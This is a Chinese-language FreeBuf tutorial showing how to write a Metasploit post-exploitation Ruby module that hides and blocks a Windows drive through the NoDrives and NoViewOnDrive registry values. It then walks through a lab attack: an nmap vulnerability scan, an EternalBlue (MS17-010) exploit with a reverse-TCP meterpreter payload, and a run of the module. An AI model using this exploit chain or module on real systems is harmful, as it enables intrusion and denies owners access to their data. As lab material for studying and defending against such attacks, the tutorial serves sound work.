關於Metasploit5中的後滲透模組的編寫與測試
*本文原創作者:Neroqi,本文屬於FreeBuf原創獎勵計劃,未經許可禁止轉載
*嚴正宣告:本文僅限於技術討論與分享,嚴禁用於非法途徑。
前言
後滲透模組,顧名思義是在成功滲透目標主機之後進行操作的模組,這類模組可以達到某種或某些特定的目的。在Metasploit中,模組是字尾名為.rb的檔案,它是利用Ruby編寫的程式。本文詳細描述瞭如何利用Ruby編寫隱藏和禁止訪問特定驅動器的後滲透模組、如何在Metasploit中載入該後滲透模組以及如何在meterpreter中利用該後滲透模組的過程。
實驗環境
1.滲透主機:Kali-Linux-2019.1-vm-amd64 2.目標主機:Windows Server 2008 R2 3.軟體版本:Metasploit v5.0.2
編寫後滲透模組
1.模組的第一部分如下所示:
# This module requires Metasploit: https://metasploit.com/download # This module is used to hide and restrict access to a particular drive # after you have successfully penetrated a server require 'rex' require 'msf/core' require 'msf/core/post/windows/registry' class MetasploitModule < Msf::Post include Msf::Post::Windows::Registry def initialize super( 'Description'=> 'This module is used to hide and restrict access to a particular drive', 'License'=> MSF_LICENSE, 'Author'=> 'Neroqi', ) register_options( [ OptString.new('DriveCharacter', [true,'Please SET the Drive Character'])], self.class) end
Metasploit的模組編寫建議從註釋開始,註釋語句以“#”開頭,註釋能夠增強模組的可讀性,方便他人和自己以後的閱讀使用。
require ‘rex’引入了Metasploit中rex庫的所有內容;require ‘msf/core’引入了Metasploit中core庫的所有內容;require ‘msf/core/post/windows/registry’引入了registry.rb庫檔案,用於後續操作目標主機的登錄檔。
class MetasploitModule < Msf::Post表示將該模組定義為Post型別,即後滲透模組型別。
方法initialize定義了模組的相關資訊及引數,其中register_options使用OptString.new函式定義了一個字串變數DriveCharacter,用於儲存碟符。
2.模組的第二部分如下所示:
def drive_converter(drive) case drive when "A" return 1 when "B" return 2 when "C" return 4 when "D" return 8 when "E" return 16 when "F" return 32 when "G" return 64 end end
這一部分涉及到碟符掩碼的計算過程。其實很簡單,利用公式2^(N-1)即可,其中N為碟符字母在26個英文字母表中的位置,比如C在字母表中的位置為3,因此返回2^(3-1)=4,其他碟符以此類推。
由於伺服器可能外掛儲存陣列,因此碟符可能不止到字母“G” ,這一部分可以自行修改。
3.模組的第三部分如下所示:
def run drive_int = drive_converter(datastore['DriveCharacter']) registry_path = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer" exists = meterpreter_registry_key_exist?(registry_path) if exists print_good("Registry Path Exists, Creating Values Directly!") meterpreter_registry_setvaldata(registry_path, 'NoDrives', drive_int.to_s, 'REG_DWORD', REGISTRY_VIEW_64_BIT) print_good("Hiding #{datastore['DriveCharacter']} Drive") meterpreter_registry_setvaldata(registry_path,'NoViewOnDrive', drive_int.to_s,'REG_DWORD', REGISTRY_VIEW_64_BIT) print_good("Restricting Access to #{datastore['DriveCharacter']} Drive") else print_error("Registry Path Doesn't Exist, Creating Path Firstly!") registry_createkey(registry_path) meterpreter_registry_setvaldata(registry_path,'NoDrives', drive_int.to_s,'REG_DWORD', REGISTRY_VIEW_64_BIT) print_good("Hiding #{datastore['DriveCharacter']} Drive") meterpreter_registry_setvaldata(registry_path,'NoViewOnDrive', drive_int.to_s,'REG_DWORD', REGISTRY_VIEW_64_BIT) print_good("Restricting Access to #{datastore['DriveCharacter']} Drive") end print_good("Disabled #{datastore['DriveCharacter']} Drive Successfully!") end
registry_path = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer"
此處的HKLM表示登錄檔中的HKEY_LOCAL_MACHINE,但是這樣簡寫是否可行?Windows Server 2008 R2的登錄檔是下面這樣的啊。
莫慌,路徑補全的工作已經有人偷偷幫我們做了,在registry.rb庫檔案中有一段程式碼完成了這項工作,具體如下:
def registry_hive_lookup(hive) case hive when 'HKCR' HKEY_LOCAL_MACHINE when 'HKCU' HKEY_CURRENT_USER when 'HKLM' HKEY_LOCAL_MACHINE when 'HKU' HKEY_USERS when 'HKPD' HKEY_PERFORMANCE_DATA when 'HKCC' HKEY_CURRENT_CONFIG when 'HKDD' HKEY_DYN_DATA else HKEY_LOCAL_MACHINE end end
registry_path = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer"
此處是在登錄檔的HKLM(HKEY_LOCAL_MACHINE)中,這裡的HKLM也可以修改為HKCU(HKEY_CURRENT_USER)。這兩者的區別在於:在成功滲透目標主機之後,若可以取得目標主機的system許可權,那麼就可以使用HKLM修改系統級別的登錄檔;若只能取得某一使用者的許可權,那麼退而求其次,使用HKCU修改當前使用者的登錄檔。
exists = meterpreter_registry_key_exist?(registry_path)
用於判斷目標主機的登錄檔中是否存在該路徑,為下面的if-else語句提供判斷依據。
在Windows中通過建立NoDrives和NoViewOnDrive這兩個登錄檔值,可以實現隱藏並禁止訪問指定碟符。
我們的預期是在meterpreter會話中使用該後滲透模組,於是使用函式meterpreter_registry_setvaldata來設定NoDrives和NoViewOnDrive的值。由於目標主機是64位系統,所以在meterpreter_registry_setvaldata函式中使用的是引數REGISTRY_VIEW_64_BIT;如果目標主機是32位系統,那麼使用引數REGISTRY_VIEW_32_BIT。
測試後滲透模組
經過上面的步驟,後滲透模組的編寫已經完成,接下來進行模組的測試。
1.將編寫好的後滲透模組disable_drive_Neroqi.rb拷貝到如下路徑:
/usr/share/metasploit-framework/modules/post/windows/manage
要將模組成功載入到Metasploit中,還需要在msfconsole中reload_all。若模組存在錯誤,那麼msfconsole會返回詳細的報錯資訊,然後根據報錯資訊相應地去修改自己的程式碼即可;若模組正確無誤,則msfconsole的返回資訊如下圖所示(reload_all之前是326個post模組,之後是327個post模組):
2.使用nmap掃描目標主機,nmap命令如下:
root@kali:~# nmap -sV -p - --script vuln --script-args unsafe 192.168.110.130
發現目標主機中存在ms17_010的漏洞,掃描結果如下圖所示:
3.為進一步確認目標主機中的ms17_010漏洞,防止nmap誤報,我們在msfconsole中使用auxiliary/scanner/smb/smb_ms17_010模組,確定ms17_010漏洞是否可以利用,操作如下:
msf5 > use auxiliary/scanner/smb/smb_ms17_010 msf5 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.110.130 RHOSTS => 192.168.110.130 msf5 auxiliary(scanner/smb/smb_ms17_010) > run
基本確認該ms17_010漏洞可以利用,確認結果如下圖所示:
4.利用exploit/windows/smb/ms17_010_eternalblue模組對目標主機進行滲透,建立與目標主機之間的meterpreter會話,操作如下:
msf5 > use exploit/windows/smb/ms17_010_eternalblue msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.110.130 RHOST => 192.168.110.132 msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.110.132 LHOST => 192.168.110.130 msf5 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 8000 LPORT => 8000 msf5 exploit(windows/smb/ms17_010_eternalblue) > run
5.可以看到我們取得了目標主機的system許可權,如下圖所示:
6.對於情況未知的目標主機,可以使用post/windows/gather/forensics/enum_drives模組來列舉分割槽資訊,為後續執行disable_drive_Neroqi.rb模組提供依據,在執行enum_drives模組之前,需要通過background將meterpreter會話轉為後臺執行,具體操作如下:
meterpreter > background [*] Backgrounding session 1... msf5 > sessions Active sessions =============== IdNameTypeInformationConnection ------------------------------- 1meterpreter x64/windowsNT AUTHORITY\SYSTEM @ WIN-3E5KJEFP436192.168.110.132:8000 -> 192.168.110.130:49280 (192.168.110.130) msf5 > use post/windows/gather/forensics/enum_drives msf5 post(windows/gather/forensics/enum_drives) > show options Module options (post/windows/gather/forensics/enum_drives): NameCurrent SettingRequiredDescription -------------------------------------- MAXDRIVES10noMaximum physical drive number SESSIONyesThe session to run this module on. msf5 post(windows/gather/forensics/enum_drives) > set SESSION 1 SESSION => 1 msf5 post(windows/gather/forensics/enum_drives) > run Device Name:Type:Size (bytes): ------------------------------ \\.\PhysicalDrive04702111234474983745 \\.\C:4702111234474983745 \\.\D:4702111234474983745 \\.\E:4702111234474983745 [*] Post module execution completed
7.在msf中選擇編寫的後滲透模組disable_drive_Neroqi.rb,設定DriveCharacter和SESSION,其中DriveCharacter為碟符字母(此處設為D),SESSION為轉為後臺執行的meterpreter會話id(此處id為1),操作如下:
msf5 > use post/windows/manage/disable_drive_Neroqi msf5 post(windows/manage/disable_drive_Neroqi) > set DriveCharacter D DriveCharacter => D msf5 post(windows/manage/disable_drive_Neroqi) > set SESSION 1 SESSION => 1 msf5 post(windows/manage/disable_drive_Neroqi) > run
8.在設定好模組disable_drive_Neroqi的引數之後,run這個後滲透模組,輸出資訊如下:
9.登入到目標主機中,驗證攻擊是否成功,主機的登錄檔如下圖所示,此時在登錄檔中NoDrives和NoViewOnDrive已經成功寫入:
開啟“我的電腦”,可以看到D盤已經消失,如下圖所示:
在“磁碟管理”中嘗試開啟D盤,系統報錯,無法訪問D盤,如下圖所示:
結束語
以上這些,就是關於如何利用Ruby編寫後滲透模組、如何載入以及利用後滲透模組的過程,大家有興趣的話,可以嘗試利用Ruby編寫自己的滲透模組並且進行相關測試。
*本文原創作者:Neroqi,本文屬於FreeBuf原創獎勵計劃,未經許可禁止轉載